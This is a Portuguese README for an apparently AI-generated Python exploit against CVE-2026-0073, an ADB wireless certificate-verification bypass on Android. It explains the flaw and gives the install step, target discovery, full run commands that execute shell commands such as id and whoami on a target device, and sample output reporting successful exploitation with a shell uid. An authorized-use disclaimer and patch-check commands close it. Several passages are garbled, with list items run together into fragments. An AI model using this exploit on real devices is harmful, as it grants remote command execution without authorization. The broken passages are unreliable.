
CVE-2026-0073 - Prova de Conceito de Bypass de Autenticação Mútua Sem Fio do ADB
Este diretório contém uma prova de conceito em Python para a CVE-2026-0073.
O script é gerado usando técnicas de geração de código assistidas por IA.
A CVE-2026-0073 é um problema de lógica na verificação de certificados do daemon ADB (adbd_tls_verify_cert em auth.cpp).
A verificação vulnerável trata qualquer retorno não nulo de EVP_PKEY_cmp(...) como uma correspondência bem-sucedida.
O tratamento esperado do resultado da comparação deve ser:
1 = chaves correspondem0 = chaves não correspondemEm builds vulneráveis, valores negativos são tratados como verdadeiros e podem marcar incorretamente um certificado como autorizado.
poc-cve-2026-0073.py fazO script:
ec ou ed25519).shell: com fallback para exec:).cryptographyInstale a dependência:
pip install cryptography
Descubra o serviço ADB de destino (se necessário):
adb mdns services
Execute o PoC:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
Argumentos:
target_ip: Endereço IP do dispositivo Android de destinoport: Porta ADB (padrão: 5555)command: Comando a ser executado (padrão: id)key_type: ec ou ed25519 (padrão: ec)--verbose: Ativa logs de depuração do protocoloExemplos:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
Tempo limite ao aguardar respostas
--verbose para rastreamentos em nível de pacote.O nível de patch de segurança base do sistema operacional e o patch de módulos Mainline podem diferir. Um dispositivo pode exibir um SPL mensal mais antigo enquanto recebe correções mais recentes do módulo ADB.
Verificações úteis:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
Use este PoC apenas em ambientes autorizados (dispositivos de laboratório próprios, permissão explícita ou testes sancionados). Não execute isso contra sistemas que você não possui ou para os quais não possui autorização por escrito para testar.
daemon/auth.cpp)